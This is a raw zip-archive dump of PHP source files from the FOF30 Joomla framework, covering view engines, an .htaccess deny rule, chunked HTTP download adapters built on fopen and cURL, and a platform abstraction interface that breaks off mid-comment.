apc_compile_file($path); } if (function_exists('wincache_refresh_if_changed')) { wincache_refresh_if_changed([$path]); } if (function_exists('xcache_asm')) { xcache_asm($path); } } } PK���\���ֶ�fof30/View/Engine/PhpEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Engine; defined('_JEXEC') || die; /** * View engine for plain PHP template files (no translation). */ class PhpEngine extends AbstractEngine implements EngineInterface { /** * Get the 3ναluα+3d contents of the view template. (I use leetspeak here because of bad quality hosts with broken * scanners) * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information (I use leetspeak here because of asshole hosts with broken * scanners) */ public function get($path, array $forceParams = []) { return [ 'type' => 'path', 'content' => $path, ]; } } PK���\[�6.��%fof30/View/Engine/EngineInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Engine; defined('_JEXEC') || die; use FOF30\View\View; interface EngineInterface { /** * Public constructor * * @param View $view The view we belong to */ public function __construct(View $view); /** * Get the include path for a parsed view template * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information ['type' => 'raw|path', 'content' => 'path or raw content'] (I use * leetspeak here because of bad quality hosts with broken scanners) */ public function get($path, array $forceParams = []); } PK���\��ѡ��fof30/.htaccessnu&1i�<IfModule !mod_authz_core.c> Order deny,allow Deny from all </IfModule> <IfModule mod_authz_core.c> <RequireAll> Require all denied </RequireAll> </IfModule> PK���\��XD^ ^ $fof30/Download/DownloadInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download; defined('_JEXEC') || die; use FOF30\Download\Exception\DownloadError; /** * Interface DownloadInterface * * @codeCoverageIgnore */ interface DownloadInterface { /** * Does this download adapter support downloading files in chunks? * * @return boolean True if chunk download is supported */ public function supportsChunkDownload(); /** * Does this download adapter support reading the size of a remote file? * * @return boolean True if remote file size determination is supported */ public function supportsFileSize(); /** * Is this download class supported in the current server environment? * * @return boolean True if this server environment supports this download class */ public function isSupported(); /** * Get the priority of this adapter. If multiple download adapters are * supported on a site, the one with the highest priority will be * used. * * @return boolean */ public function getPriority(); /** * Returns the name of this download adapter in use * * @return string */ public function getName(); /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn($url, $from = null, $to = null, array $params = []); /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize($url); } PK���\к��,,fof30/Download/Download.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Download\Exception\DownloadError; use FOF30\Timer\Timer; use Joomla\CMS\Language\Text; class Download { /** * The component container object * * @var Container */ protected $container = null; /** * Parameters passed from the GUI when importing from URL * * @var array */ private $params = []; /** * The download adapter which will be used by this class * * @var DownloadInterface */ private $adapter = null; /** * Additional params that will be passed to the adapter while performing the download * * @var array */ private $adapterOptions = []; /** * Public constructor * * @param Container $c The component container */ public function __construct(Container $c) { $this->container = $c; // Find the best fitting adapter $allAdapters = self::getFiles(__DIR__ . '/Adapter', [], ['AbstractAdapter.php']); $priority = 0; foreach ($allAdapters as $adapterInfo) { /** @var Adapter\AbstractAdapter $adapter */ $adapter = new $adapterInfo['classname']; if (!$adapter->isSupported()) { continue; } if ($adapter->priority > $priority) { $this->adapter = $adapter; $priority = $adapter->priority; } } // Load the language strings $c->platform->loadTranslations('lib_fof30'); } /** * This method will crawl a starting directory and get all the valid files * that will be analyzed by __construct. Then it organizes them into an * associative array. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array Associative array, where the `fullpath` key contains the path to the file, * and the `classname` key contains the name of the class */ protected static function getFiles($path, array $ignoreFolders = [], array $ignoreFiles = []) { $return = []; $files = self::scanDirectory($path, $ignoreFolders, $ignoreFiles); // Ok, I got the files, now I have to organize them foreach ($files as $file) { $clean = str_replace($path, '', $file); $clean = trim(str_replace('\\', '/', $clean), '/'); $parts = explode('/', $clean); $return[] = [ 'fullpath' => $file, 'classname' => '\\FOF30\\Download\\Adapter\\' . ucfirst(basename($parts[0], '.php')), ]; } return $return; } /** * Recursive function that will scan every directory unless it's in the * ignore list. Files that aren't in the ignore list are returned. * * @param string $path Folder where we should start looking * @param array $ignoreFolders Folder ignore list * @param array $ignoreFiles File ignore list * * @return array List of all the files */ protected static function scanDirectory($path, array $ignoreFolders = [], array $ignoreFiles = []) { $return = []; $handle = @opendir($path); if (!$handle) { return $return; } while (($file = readdir($handle)) !== false) { if ($file == '.' || $file == '..') { continue; } $fullpath = $path . '/' . $file; if ((is_dir($fullpath) && in_array($file, $ignoreFolders)) || (is_file($fullpath) && in_array($file, $ignoreFiles))) { continue; } if (is_dir($fullpath)) { $return = array_merge(self::scanDirectory($fullpath, $ignoreFolders, $ignoreFiles), $return); } else { $return[] = $path . '/' . $file; } } return $return; } /** * Forces the use of a specific adapter * * @param string $className The name of the class or the name of the adapter */ public function setAdapter($className) { $adapter = null; if (class_exists($className, true)) { $adapter = new $className; } elseif (class_exists('\\FOF30\\Download\\Adapter\\' . ucfirst($className))) { $className = '\\FOF30\\Download\\Adapter\\' . ucfirst($className); $adapter = new $className; } if (is_object($adapter) && ($adapter instanceof DownloadInterface)) { $this->adapter = $adapter; } } /** * Returns the name of the current adapter * * @return string */ public function getAdapterName() { if (is_object($this->adapter)) { $class = get_class($this->adapter); return strtolower(str_ireplace('FOF30\\Download\\Adapter\\', '', $class)); } return ''; } /** * Returns the additional options for the adapter * * @return array * * @codeCoverageIgnore */ public function getAdapterOptions() { return $this->adapterOptions; } /** * Sets the additional options for the adapter * * @param array $options * * @codeCoverageIgnore */ public function setAdapterOptions(array $options) { $this->adapterOptions = $options; } /** * Download data from a URL and return it. * * Important note about ranges: byte ranges start at 0. This means that the first 500 bytes of a file are from 0 * to 499, NOT from 1 to 500. If you ask more bytes than there are in the file or a range which is invalid or does * not exist this method will return false. * * @param string $url The URL to download from * @param int $from Byte range to start downloading from. Use null (default) for start of file. * @param int $to Byte range to stop downloading. Use null to download the entire file ($from will be * ignored!) * * @return bool|string The downloaded data or false on failure */ public function getFromURL($url, $from = null, $to = null) { try { return $this->adapter->downloadAndReturn($url, $from, $to, $this->adapterOptions); } catch (DownloadError $e) { return false; } } /** * Performs the staggered download of file. * * @param array $params A parameters array, as sent by the user interface * * @return array A return status array */ public function importFromURL($params) { $this->params = $params; // Fetch data $url = $this->getParam('url'); $localFilename = $this->getParam('localFilename'); $frag = $this->getParam('frag', -1); $totalSize = $this->getParam('totalSize', -1); $doneSize = $this->getParam('doneSize', -1); $maxExecTime = $this->getParam('maxExecTime', 5); $runTimeBias = $this->getParam('runTimeBias', 75); $length = $this->getParam('length', 1048576); if (empty($localFilename)) { $localFilename = basename($url); if (strpos($localFilename, '?') !== false) { $paramsPos = strpos($localFilename, '?'); $localFilename = substr($localFilename, 0, $paramsPos - 1); $platformBaseDirectories = $this->container->platform->getPlatformBaseDirs(); $tmpDir = $platformBaseDirectories['tmp']; $tmpDir = rtrim($tmpDir, '/\\'); $localFilename = $tmpDir . '/' . $localFilename; } } // Init retArray $retArray = [ "status" => true, "error" => '', "frag" => $frag, "totalSize" => $totalSize, "doneSize" => $doneSize, "percent" => 0, "localfile" => $localFilename, ]; try { $timer = new Timer($maxExecTime, $runTimeBias); $start = $timer->getRunningTime(); // Mark the start of this download $break = false; // Don't break the step do { // Do we have to initialize the file? if ($frag == -1) { // Currently downloaded size $doneSize = 0; if (@file_exists($localFilename)) { @unlink($localFilename); } // Delete and touch the output file $fp = @fopen($localFilename, 'wb'); if ($fp !== false) { @fclose($fp); } // Init $frag = 0; $retArray['totalSize'] = $this->adapter->getFileSize($url); if ($retArray['totalSize'] <= 0) { $retArray['totalSize'] = 0; } $totalSize = $retArray['totalSize']; } // Calculate from and length $from = $frag * $length; $to = $length + $from - 1; // Try to download the first frag $required_time = 1.0; $error = ''; try { $result = $this->adapter->downloadAndReturn($url, $from, $to, $this->adapterOptions); } catch (DownloadError $e) { $result = false; $error = $e->getMessage(); } if ($result === false) { // Failed download if ($frag == 0) { // Failure to download first frag = failure to download. Period. $retArray['status'] = false; $retArray['error'] = $error; return $retArray; } else { // Since this is a staggered download, consider this normal and finish $frag = -1; $totalSize = $doneSize; $break = true; } } // Add the currently downloaded frag to the total size of downloaded files if ($result !== false) { $fileSize = strlen($result); $doneSize += $fileSize; // Append the file $fp = @fopen($localFilename, 'ab'); if ($fp === false) { // Can't open the file for writing $retArray['status'] = false; $retArray['error'] = Text::sprintf('LIB_FOF_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE', $localFilename); return $retArray; } fwrite($fp, $result); fclose($fp); $frag++; if (($fileSize < $length) || ($fileSize > $length) || (($totalSize == $doneSize) && ($totalSize > 0)) ) { // A partial download or a download larger than the frag size means we are done $frag = -1; //debugMsg("-- Import complete (partial download of last frag)"); $totalSize = $doneSize; $break = true; } } // Advance the frag pointer and mark the end $end = $timer->getRunningTime(); // Do we predict that we have enough time? $required_time = max(1.1 * ($end - $start), $required_time); if ($required_time > (10 - $end + $start)) { $break = true; } $start = $end; } while (($timer->getTimeLeft() > 0) && !$break); if ($frag == -1) { $percent = 100; } elseif ($doneSize <= 0) { $percent = 0; } else { if ($totalSize > 0) { $percent = 100 * ($doneSize / $totalSize); } else { $percent = 0; } } // Update $retArray $retArray = [ "status" => true, "error" => '', "frag" => $frag, "totalSize" => $totalSize, "doneSize" => $doneSize, "percent" => $percent, ]; } catch (DownloadError $e) { $retArray['status'] = false; $retArray['error'] = $e->getMessage(); } return $retArray; } /** * Used to decode the $params array * * @param string $key The parameter key you want to retrieve the value for * @param mixed $default The default value, if none is specified * * @return mixed The value for this parameter key */ private function getParam($key, $default = null) { if (array_key_exists($key, $this->params)) { return $this->params[$key]; } return $default; } } PK���\�{�>33*fof30/Download/Exception/DownloadError.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download\Exception; defined('_JEXEC') || die; use RuntimeException; class DownloadError extends RuntimeException { } PK���\��)Bg g *fof30/Download/Adapter/AbstractAdapter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download\Adapter; defined('_JEXEC') || die; use FOF30\Download\DownloadInterface; use FOF30\Download\Exception\DownloadError; abstract class AbstractAdapter implements DownloadInterface { /** * Load order priority * * @var int */ public $priority = 100; /** * Name of the adapter (identical to filename) * * @var string */ public $name = ''; /** * Is this adapter supported in the current execution environment? * * @var bool */ public $isSupported = false; /** * Does this adapter support chunked downloads? * * @var bool */ public $supportsChunkDownload = false; /** * Does this adapter support querying the remote file's size? * * @var bool */ public $supportsFileSize = false; /** * Does this download adapter support downloading files in chunks? * * @return boolean True if chunk download is supported */ public function supportsChunkDownload() { return $this->supportsChunkDownload; } /** * Does this download adapter support reading the size of a remote file? * * @return boolean True if remote file size determination is supported */ public function supportsFileSize() { return $this->supportsFileSize; } /** * Is this download class supported in the current server environment? * * @return boolean True if this server environment supports this download class */ public function isSupported() { return $this->isSupported; } /** * Get the priority of this adapter. If multiple download adapters are * supported on a site, the one with the highest priority will be * used. * * @return boolean */ public function getPriority() { return $this->priority; } /** * Returns the name of this download adapter in use * * @return string */ public function getName() { return $this->name; } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn($url, $from = null, $to = null, array $params = []) { return ''; } /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize($url) { return -1; } } PK���\e�A fof30/Download/Adapter/Fopen.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download\Adapter; defined('_JEXEC') || die; use FOF30\Download\DownloadInterface; use FOF30\Download\Exception\DownloadError; use Joomla\CMS\Language\Text; /** * A download adapter using URL fopen() wrappers */ class Fopen extends AbstractAdapter implements DownloadInterface { public function __construct() { $this->priority = 100; $this->supportsFileSize = false; $this->supportsChunkDownload = true; $this->name = 'fopen'; // If we are not allowed to use ini_get, we assume that URL fopen is disabled if (!function_exists('ini_get')) { $this->isSupported = false; } else { $this->isSupported = ini_get('allow_url_fopen'); } } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn($url, $from = null, $to = null, array $params = []) { if (empty($from)) { $from = 0; } if (empty($to)) { $to = 0; } if ($to < $from) { $temp = $to; $to = $from; $from = $temp; unset($temp); } if (!(empty($from) && empty($to))) { $options = [ 'http' => [ 'method' => 'GET', 'header' => "Range: bytes=$from-$to\r\n", ], 'ssl' => [ 'verify_peer' => true, 'cafile' => JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem', 'verify_depth' => 5, ], ]; $options = array_merge($options, $params); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context, $from - $to + 1); } else { $options = [ 'http' => [ 'method' => 'GET', ], 'ssl' => [ 'verify_peer' => true, 'cafile' => JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem', 'verify_depth' => 5, ], ]; $options = array_merge($options, $params); $context = stream_context_create($options); $result = @file_get_contents($url, false, $context); } global $http_response_header_test; if (!isset($http_response_header) && empty($http_response_header_test)) { $error = Text::_('LIB_FOF_DOWNLOAD_ERR_FOPEN_ERROR'); throw new DownloadError($error, 404); } else { // Used for testing if (!isset($http_response_header) && !empty($http_response_header_test)) { $http_response_header = $http_response_header_test; } $http_code = 200; $nLines = count($http_response_header); for ($i = $nLines - 1; $i >= 0; $i--) { $line = $http_response_header[$i]; if (strncasecmp("HTTP", $line, 4) == 0) { $response = explode(' ', $line); $http_code = $response[1]; break; } } if ($http_code >= 299) { $error = Text::sprintf('LIB_FOF_DOWNLOAD_ERR_HTTPERROR', $http_code); throw new DownloadError($error, $http_code); } } if ($result === false) { $error = Text::sprintf('LIB_FOF_DOWNLOAD_ERR_FOPEN_ERROR'); throw new DownloadError($error, 1); } else { return $result; } } } PK���\��<bbfof30/Download/Adapter/Curl.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Download\Adapter; defined('_JEXEC') || die; use FOF30\Download\DownloadInterface; use FOF30\Download\Exception\DownloadError; use Joomla\CMS\Language\Text; /** * A download adapter using the cURL PHP integration */ class Curl extends AbstractAdapter implements DownloadInterface { protected $headers = []; public function __construct() { $this->priority = 110; $this->supportsFileSize = true; $this->supportsChunkDownload = true; $this->name = 'curl'; $this->isSupported = function_exists('curl_init') && function_exists('curl_exec') && function_exists('curl_close'); } /** * Download a part (or the whole) of a remote URL and return the downloaded * data. You are supposed to check the size of the returned data. If it's * smaller than what you expected you've reached end of file. If it's empty * you have tried reading past EOF. If it's larger than what you expected * the server doesn't support chunk downloads. * * If this class' supportsChunkDownload returns false you should assume * that the $from and $to parameters will be ignored. * * @param string $url The remote file's URL * @param integer $from Byte range to start downloading from. Use null for start of file. * @param integer $to Byte range to stop downloading. Use null to download the entire file ($from is * ignored) * @param array $params Additional params that will be added before performing the download * * @return string The raw file data retrieved from the remote URL. * * @throws DownloadError A generic exception is thrown on error */ public function downloadAndReturn($url, $from = null, $to = null, array $params = []) { $ch = curl_init(); if (empty($from)) { $from = 0; } if (empty($to)) { $to = 0; } if ($to < $from) { $temp = $to; $to = $from; $from = $temp; unset($temp); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSLVERSION, 0); curl_setopt($ch, CURLOPT_CAINFO, JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem'); curl_setopt($ch, CURLOPT_HEADERFUNCTION, [$this, 'reponseHeaderCallback']); if (!(empty($from) && empty($to))) { curl_setopt($ch, CURLOPT_RANGE, "$from-$to"); } if (!is_array($params)) { $params = []; } $patched_accept_encoding = false; // Work around LiteSpeed sending compressed output under HTTP/2 when no encoding was requested // See https://github.com/joomla/joomla-cms/issues/21423#issuecomment-410941000 if (defined('CURLOPT_ACCEPT_ENCODING')) { if (!array_key_exists(CURLOPT_ACCEPT_ENCODING, $params)) { $params[CURLOPT_ACCEPT_ENCODING] = 'identity'; } $patched_accept_encoding = true; } if (!empty($params)) { foreach ($params as $k => $v) { // I couldn't patch the accept encoding header (missing constant), so I'll check if we manually set it if (!$patched_accept_encoding && $k == CURLOPT_HTTPHEADER) { foreach ($v as $custom_header) { // Ok, we explicitly set the Accept-Encoding header, so we consider it patched if (stripos($custom_header, 'Accept-Encoding') !== false) { $patched_accept_encoding = true; } } } @curl_setopt($ch, $k, $v); } } // Accept encoding wasn't patched, let's manually do that if (!$patched_accept_encoding) { @curl_setopt($ch, CURLOPT_HTTPHEADER, ['Accept-Encoding: identity']); $patched_accept_encoding = true; } $result = curl_exec($ch); $errno = curl_errno($ch); $errmsg = curl_error($ch); $error = ''; $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($result === false) { $error = Text::sprintf('LIB_FOF_DOWNLOAD_ERR_CURL_ERROR', $errno, $errmsg); } elseif (($http_status >= 300) && ($http_status <= 399) && isset($this->headers['location']) && !empty($this->headers['location'])) { return $this->downloadAndReturn($this->headers['location'], $from, $to, $params); } elseif ($http_status > 399) { $result = false; $errno = $http_status; $error = Text::sprintf('LIB_FOF_DOWNLOAD_ERR_HTTPERROR', $http_status); } curl_close($ch); if ($result === false) { throw new DownloadError($error, $errno); } else { return $result; } } /** * Get the size of a remote file in bytes * * @param string $url The remote file's URL * * @return integer The file size, or -1 if the remote server doesn't support this feature */ public function getFileSize($url) { $result = -1; $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSLVERSION, 0); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CAINFO, JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem'); $data = curl_exec($ch); curl_close($ch); if ($data) { $content_length = "unknown"; $status = "unknown"; $redirection = null; if (preg_match("/^HTTP\/1\.[01] (\d\d\d)/i", $data, $matches)) { $status = (int) $matches[1]; } if (preg_match("/Content-Length: (\d+)/i", $data, $matches)) { $content_length = (int) $matches[1]; } if (preg_match("/Location: (.*)/i", $data, $matches)) { $redirection = (int) $matches[1]; } if ($status == 200 || ($status > 300 && $status <= 308)) { $result = $content_length; } if (($status > 300) && ($status <= 308)) { if (!empty($redirection)) { return $this->getFileSize($redirection); } return -1; } } return $result; } /** * Handles the HTTP headers returned by cURL * * @param resource $ch cURL resource handle (unused) * @param string $data Each header line, as returned by the server * * @return int The length of the $data string */ protected function reponseHeaderCallback(&$ch, &$data) { $strlen = strlen($data); if (($strlen) <= 2) { return $strlen; } if (substr($data, 0, 4) == 'HTTP') { return $strlen; } if (strpos($data, ':') === false) { return $strlen; } [$header, $value] = explode(': ', trim($data), 2); $this->headers[strtolower($header)] = $value; return $strlen; } } PK���\����E�E$fof30/Platform/PlatformInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Platform; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Date\Date; use FOF30\Input\Input; use JDatabaseDriver; use Joomla\CMS\Document\Document; use Joomla\CMS\Language\Language; use Joomla\CMS\User\User; use Joomla\Registry\Registry; use JsonSerializable; /** * Part of the F0F Platform Abstraction Layer. It implements everything that * depends on the platform F0F is running under, e.g. the Joomla! CMS front-end, * the Joomla! CMS back-end, a CLI Joomla! Platform app, a bespoke Joomla! * Platform / Framework web application and so on. */ interface PlatformInterface { /** * Public constructor. * * @param Container $c The component container */ public function __construct(Container $c); /** * Checks if the current script is run inside a valid CMS execution * * @return bool */ public function checkExecution(); /** * Raises an error, using the logic requested by the CMS (PHP Exception or dedicated class) * * @param integer $code * @param string $message * * @return mixed */ public function raiseError($code, $message); /** * Returns the version number string of the CMS/application we're running in * * @return string * * @since 2.1.2 */ public function getPlatformVersion(); /** * Returns absolute path to directories used by the containing CMS/application. * * The return is a table with the following key: * * root Path to the site root * * public Path to the public area of the site * * admin Path to the administrative area of the site * * tmp Path to the temp directory * * log Path to the log directory * * @return array A hash array with keys root, public, admin, tmp and log. */ public function getPlatformBaseDirs(); /** * Returns the base (root) directories for a given component, i.e the application * which is running inside our main application (CMS, web app). * * The return is a table with the following keys: * * main The normal location of component files. For a back-end Joomla! * component this is the administrator/components/com_example * directory. * * alt The alternate location of component files. For a back-end * Joomla! component this is the front-end directory, e.g. * components/com_example * * site The location of the component files serving the public part of * the application. * * admin The location of the component files serving the administrative * part of the application. * * All paths MUST be absolute. All four paths MAY be the same if the * platform doesn't make a distinction between public and private parts, * or when the component does not provide both a public and private part. * All of the directories MUST be defined and non-empty. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. */ public function getComponentBaseDirs($component); /** * Returns the application's template name * * @param boolean|array $params An optional associative array of configuration settings * * @return string The template name. System is the fallback. */ public function getTemplate($params = false); /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes(); /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param boolean $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath($component, $absolute = true); /** * Load the translation files for a given component. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return void */ public function loadTranslations($component); /** * By default FOF will only use the Controller's onBefore* methods to * perform user authorisation. In some cases, like the Joomla! back-end, * you also need to perform component-wide user authorisation in the * Dispatcher. This method MUST implement this authorisation check. If you * do not need this in your platform, please always return true. * * @param string $component The name of the component. * * @return boolean True to allow loading the component, false to halt loading */ public function authorizeAdmin($component); /** * This method will try retrieving a variable from the request (input) data. * If it doesn't exist it will be loaded from the user state, typically * stored in the session. If it doesn't exist there either, the $default * value will be used. If $setUserState is set to true, the retrieved * variable will be stored in the user session. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param boolean $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable */ public function getUserStateFromRequest($key, $request, $input, $default = null, $type = 'none', $setUserState = true); /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS itself. * * @param string $type The type of the plugins to be loaded * * @return void */ public function importPlugin($type); /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered */ public function runPlugins($event, $data); /** * Perform an ACL check. Please note that FOF uses by default the Joomla! * CMS convention for ACL privileges, e.g core.edit for the edit privilege. * If your platform uses different conventions you'll have to override the * F0F defaults using fof.xml or by specialising the controller. * * @param string $action The ACL privilege to check, e.g. core.edit * @param string $assetname The asset name to check, typically the component's name * * @return boolean True if the user is allowed this action */ public function authorise($action, $assetname); /** * Returns a user object. * * @param integer $id The user ID to load. Skip or use null to retrieve * the object for the currently logged in user. * * @return User The \JUser object for the specified user */ public function getUser($id = null); /** * Returns the \JDocument object which handles this component's response. You * may also return null and FOF will a. try to figure out the output type by * examining the "format" input parameter (or fall back to "html") and b. * FOF will not attempt to load CSS and Javascript files (as it doesn't make * sense if there's no \JDocument to handle them). * * @return Document */ public function getDocument(); /** * Returns an object to handle dates * * @param mixed $time The initial time * @param null $tzOffest The timezone offset * @param bool $locale Should I try to load a specific class for current language? * * @return Date object */ public function getDate($time = 'now', $tzOffest = null, $locale = true); /** * Return the \JLanguage instance of the CMS/application * * @return Language */ public function getLanguage(); /** * Returns the database driver object of the CMS/application * * @return JDatabaseDriver */ public function getDbo(); /** * Is this the administrative section of the component? * * @return boolean */ public function isBackend(); /** * Is this the public section of the component? * * @return boolean */ public function isFrontend(); /** * Is this the Joomla 4 API application? * * @return boolean */ public function isApi(); /** * Is this a component running in a CLI application? * * @return boolean */ public function isCli(); /** * Is AJAX re-ordering supported? This is 100% Joomla! CMS (version 3+) specific. * * @return boolean */ public function supportsAjaxOrdering(); /** * Saves something to the cache. This is supposed to be used for system-wide * FOF data, not application data. * * @param string $key The key of the data to save * @param string $content The actual data to save * * @return boolean True on success */ public function setCache($key, $content); /** * Retrieves data from the cache. This is supposed to be used for system-side * FOF data, not application data. * * @param string $key The key of the data to retrieve * @param string $default The default value to return if the key is not found or the cache is not populated * * @return string The cached value */ public function getCache($key, $default = null); /** * Clears the cache of system-wide FOF data. You are supposed to call this in * your components' installation script post-installation and post-upgrade * methods or whenever you are modifying the structure of database tables * accessed by F0F. Please note that FOF's cache never expires and is not * purged by Joomla!. You MUST use this method to manually purge the cache. * * @return boolean True on success */ public function clearCache(); /** * Returns an object that holds the configuration of the current site. * * @return Registry */ public function getConfig(); /** * Is the global FOF cache enabled? * * @return boolean */ public function isGlobalFOFCacheEnabled(); /** * logs in a user * * @param array $authInfo Authentication information * * @return boolean True on success */ public function loginUser($authInfo); /** * logs out a user * * @return boolean True on success */ public function logoutUser(); /** * Add a log file for FOF * * @param string $file * * @return void */ public function logAddLogger($file); /** * Logs a deprecated practice. In Joomla! this results in the $message being output in the * deprecated log file, found in your site's log directory. * * @param string $message The deprecated practice log message * * @return void */ public function logDeprecated($message); /** * Adds a message to the application's debug log * * @param string $message * * @return void */ public function logDebug($message); /** * Adds a message * * @param string|array $title A title, or an array of additional fields to add to the log entry * @param string $logText The translation key to the log text * @param string $extension The name of the extension logging this entry * @param User|null $user The user the action is being logged for * * @return void */ public function logUserAction($title, $logText, $extension, $user = null); /** * Returns the root URI for the request. * * @param boolean $pathonly If false, prepend the scheme, host and port information. Default is false. * @param string $path The path * * @return string The root URI string. */ public function URIroot($pathonly = false, $path = null); /** * Returns the base URI for the request. * * @param boolean $pathonly If false, prepend the scheme, host and port information. Default is false. * | * * @return string The base URI string */ public function URIbase($pathonly = false); /** * Method to set a response header. If the replace flag is set then all headers * with the given name will be replaced by the new one (only if the current platform supports header caching) * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param boolean $replace True to replace any headers with the same name. * * @return void */ public function setHeader($name, $value, $replace = false); /** * In platforms that perform header caching, send all headers. * * @return void */ public function sendHeaders(); /** * Immediately terminate the containing application's execution * * @param int $code The result code which should be returned by the application * * @return void */ public function closeApplication($code = 0); /** * Perform a redirection to a different page, optionally enqueuing a message for the user. * * @param string $url The URL to redirect to * @param int $status (optional) The HTTP redirection status code, default 301 * @param string $msg (optional) A message to 